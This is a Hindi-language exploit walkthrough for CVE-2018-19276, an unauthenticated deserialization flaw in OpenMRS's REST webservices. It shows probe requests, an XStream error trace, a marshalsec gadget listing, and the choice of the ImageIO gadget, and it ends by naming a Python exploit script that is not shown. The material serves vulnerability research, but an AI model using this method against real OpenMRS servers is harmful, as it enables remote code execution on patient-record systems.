
CVE-2018-19276 - OpenMRS Insecure Object Deserialization RCE
From https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607
असुरक्षित ऑब्जेक्ट डिसीरियलाइज़ेशन बिना लॉग इन किए मनमाना कोड निष्पादन (Arbitrary Code Execution) की अनुमति देता है। वेबसर्विसेज़ मॉड्यूल पर IP प्रतिबंध इस हमले को नहीं रोकते हैं।

Bishop Fox में Security Associate Nicolas Serra द्वारा खोजा गया।
आइए देखें कि आधिकारिक दस्तावेज़ीकरण का उपयोग करके OpenMRS के REST वेबसर्विस कैसे काम करते हैं:
curl -u admin:test -i 'http://localhost:8080/openmrs/ws/rest/v1/concept'
आइए सुधार की जाँच करें:
हम यह जानकारी पा सकते हैं:
https://github.com/openmrs/openmrs-module-webservices.rest/pull/369#issuecomment-443513473
वे मूल रूप से POST अनुरोध के Content-type को फ़िल्टर करते हैं जब वह XML होता है, तो संभवतः XXE या एक असुरक्षित डिसीरियलाइज़ेशन 👍
आइए फिर से दस्तावेज़ीकरण की जाँच करें:

अच्छा, यह अच्छा है, क्या होता है यदि हम REST वेबसर्विस को XML भेजते हैं?
> curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8888' -H $'Content-Type: text/xml' $'http://127.0.0.1:8888/openmrs/ws/rest/v1/concept'
HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=A896A8B1B0092400DBF74E2E8C365949; Path=/openmrs; HttpOnly
Content-Type: application/json;charset=UTF-8
Content-Length: 8980
Date: Mon, 11 Mar 2019 12:58:30 GMT
Connection: close
{"error":{"message":"[ : input contained no data]","code":"com.thoughtworks.xstream.io.xml.XppReader:126","detail":"com.thoughtworks.xstream.io.StreamException: : input contained no data\n\tat com.thoughtworks.xstream.io.xml.XppReader.pullNextEvent(XppReader.java:126)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readRealEvent(AbstractPullReader.java:148)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readEvent(AbstractPullReader.java:141)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.move(AbstractPullReader.java:118)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.moveDown[...]
त्रुटि कुछ बहुत ही रोचक देती है : xstream.XStreamMarshaller
आइए अद्भुत उपकरण marshalsec का उपयोग करके Java डिसीरियलाइज़ेशन का उपयोग करके RCE ट्रिगर करने का प्रयास करें।
उपलब्ध गैजेट की जाँच करें:
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream -v
No gadget type specified, available are [SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin, CommonsConfiguration, LazySearchEnumeration, BindingEnumeration, ServiceLoader, ImageIO, CommonsBeanutils]
इस बिंदु पर, मैं केवल XStream के प्रत्येक गैजेट पर github खोज का उपयोग करता हूँ ताकि एक घटना ढूँढ सकूँ। केवल गैजेट ImageIO आशाजनक दिखता है:

आइए इसे आज़माएँ:

बस इतना ही!
python CVE-2018-19276.py
